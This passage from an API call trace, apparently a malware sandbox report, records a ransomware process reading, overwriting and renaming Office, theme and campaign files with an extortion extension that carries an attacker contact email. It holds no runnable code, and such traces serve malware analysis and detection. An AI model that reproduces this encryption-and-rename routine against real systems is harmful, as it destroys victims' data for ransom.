pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\db2v0801.xsl", len=0x7c | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\db2v0801.xsl") returned 1 [0202.974] GetProcessHeap () returned 0x630000 [0202.974] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4bec) returned 0x7133a90 [0202.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\db2v0801.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\db2v0801.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0203.086] CloseHandle (hObject=0x6c0) returned 1 [0203.086] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0203.086] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\db2v0801.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\db2v0801.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0203.178] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0203.178] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24cd79fe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24cd79fe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24d70354, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75ab, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DB2V08~1.FIR")) returned 0x6d4f00 [0203.179] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0203.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0203.179] GetProcessHeap () returned 0x630000 [0203.179] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x75c1) returned 0x717648 [0203.179] GetProcessHeap () returned 0x630000 [0203.179] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x75c1) returned 0x719ec10 [0203.179] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.179] ReadFile (in: hFile=0x6c0, lpBuffer=0x717648, nNumberOfBytesToRead=0x75a0, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717648*, lpNumberOfBytesRead=0x497ff0c*=0x75a0, lpOverlapped=0x0) returned 1 [0207.461] GetProcessHeap () returned 0x630000 [0207.461] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0207.462] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.462] WriteFile (in: hFile=0x6c0, lpBuffer=0x719ec10*, nNumberOfBytesToWrite=0x75a0, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x719ec10*, lpNumberOfBytesWritten=0x497ff0c*=0x75a0, lpOverlapped=0x0) returned 1 [0207.631] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.631] WriteFile (in: hFile=0x6c0, lpBuffer=0x71a61af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71a61af*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0207.631] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.631] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0207.631] CloseHandle (hObject=0x6c0) returned 1 [0207.631] GetProcessHeap () returned 0x630000 [0207.631] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x719ec10 | out: hHeap=0x630000) returned 1 [0207.632] GetProcessHeap () returned 0x630000 [0207.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717648 | out: hHeap=0x630000) returned 1 [0207.632] GetProcessHeap () returned 0x630000 [0207.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0207.632] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0207.632] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24cd79fe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24cd79fe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x41b40727, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x75cf, dwReserved0=0xbb87496, dwReserved1=0x717640, cFileName="db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DB2V08~1.FIR")) returned 0x6d5540 [0207.632] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0207.633] Sleep (dwMilliseconds=0x1) [0209.671] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\STUDIO.INF", len=0x6c | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\STUDIO.INF") returned 1 [0209.671] GetProcessHeap () returned 0x630000 [0209.671] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e30) returned 0x6fe4288 [0209.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\studio\\studio.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0214.402] CloseHandle (hObject=0x6a0) returned 1 [0214.402] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0214.403] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\studio\\studio.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\STUDIO.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\studio\\studio.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.802] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.802] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\STUDIO.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c609b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="STUDIO.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STUDIO~2.FIR")) returned 0x6d4f40 [0220.802] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0220.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\STUDIO.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\studio\\studio.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0220.803] GetProcessHeap () returned 0x630000 [0220.803] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d8480 [0220.803] GetProcessHeap () returned 0x630000 [0220.803] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d72c8 [0220.803] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.803] ReadFile (in: hFile=0x6a0, lpBuffer=0x6d8480, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d8480*, lpNumberOfBytesRead=0x497ff0c*=0x240, lpOverlapped=0x0) returned 1 [0220.806] GetProcessHeap () returned 0x630000 [0220.806] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0220.806] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.806] WriteFile (in: hFile=0x6a0, lpBuffer=0x6d72c8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d72c8*, lpNumberOfBytesWritten=0x497ff0c*=0x240, lpOverlapped=0x0) returned 1 [0220.806] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.807] WriteFile (in: hFile=0x6a0, lpBuffer=0x6d7507*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7507*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0220.807] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.807] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.807] CloseHandle (hObject=0x6a0) returned 1 [0220.807] GetProcessHeap () returned 0x630000 [0220.807] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d72c8 | out: hHeap=0x630000) returned 1 [0220.807] GetProcessHeap () returned 0x630000 [0220.807] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d8480 | out: hHeap=0x630000) returned 1 [0220.807] GetProcessHeap () returned 0x630000 [0220.807] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0220.807] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.808] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\STUDIO.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4990559b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x497fd20, dwReserved1=0x6d8480, cFileName="STUDIO.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STUDIO~2.FIR")) returned 0x6d5340 [0220.808] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0220.808] Sleep (dwMilliseconds=0x1) [0220.856] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\index.html", len=0x6f | out: pbstr=0x497ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\index.html") returned 1 [0220.856] GetProcessHeap () returned 0x630000 [0220.856] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5118) returned 0x6fe3bb0 [0220.857] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ms-my\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0220.857] CloseHandle (hObject=0x42c) returned 1 [0220.857] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0220.858] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ms-my\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ms-my\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.860] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.860] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c68, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4f40 [0220.860] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0220.861] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ms-my\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0220.862] GetProcessHeap () returned 0x630000 [0220.862] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9c81) returned 0x749e1d8 [0220.862] GetProcessHeap () returned 0x630000 [0220.862] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9c81) returned 0x70ce4d8 [0220.862] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.862] ReadFile (in: hFile=0x6a0, lpBuffer=0x749e1d8, nNumberOfBytesToRead=0x9c60, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x749e1d8*, lpNumberOfBytesRead=0x497ff0c*=0x9c60, lpOverlapped=0x0) returned 1 [0224.969] GetProcessHeap () returned 0x630000 [0224.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177830 [0224.969] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.969] WriteFile (in: hFile=0x6a0, lpBuffer=0x70ce4d8*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ce4d8*, lpNumberOfBytesWritten=0x497ff0c*=0x9c60, lpOverlapped=0x0) returned 1 [0225.653] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.653] WriteFile (in: hFile=0x6a0, lpBuffer=0x70d8137*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70d8137*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.729] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.729] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.729] CloseHandle (hObject=0x6a0) returned 1 [0225.729] GetProcessHeap () returned 0x630000 [0225.729] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70ce4d8 | out: hHeap=0x630000) returned 1 [0225.729] GetProcessHeap () returned 0x630000 [0225.729] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x749e1d8 | out: hHeap=0x630000) returned 1 [0225.730] GetProcessHeap () returned 0x630000 [0225.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177830 | out: hHeap=0x630000) returned 1 [0226.663] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.664] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c7f5824, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9c8c, dwReserved0=0xbb87496, dwReserved1=0x749e1d0, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5540 [0226.664] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0226.664] Sleep (dwMilliseconds=0x1) [0226.673] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Windows Defender\\SymSrv.yes", len=0x2c | out: pbstr=0x497ff7c*="C:\\Program Files\\Windows Defender\\SymSrv.yes") returned 1 [0226.673] GetProcessHeap () returned 0x630000 [0226.673] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51f8) returned 0x6fe3bb0 [0226.673] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\SymSrv.yes" (normalized: "c:\\program files\\windows defender\\symsrv.yes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.679] Sleep (dwMilliseconds=0x1) [0226.688] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Windows Defender\\ClientWMIInstall.mof", len=0x36 | out: pbstr=0x497ff7c*="C:\\Program Files\\Windows Defender\\ClientWMIInstall.mof") returned 1 [0226.688] GetProcessHeap () returned 0x630000 [0226.688] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51b8) returned 0x6fe3bb0 [0226.689] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\ClientWMIInstall.mof" (normalized: "c:\\program files\\windows defender\\clientwmiinstall.mof"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.694] Sleep (dwMilliseconds=0x1) [0226.700] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x497ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastreviewsettings.xml") returned 1 [0226.700] GetProcessHeap () returned 0x630000 [0226.700] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5184) returned 0x6fe3bb0 [0226.700] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-hk\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0226.710] CloseHandle (hObject=0x4bc) returned 1 [0226.711] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.711] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-hk\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-hk\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.223] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.223] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, 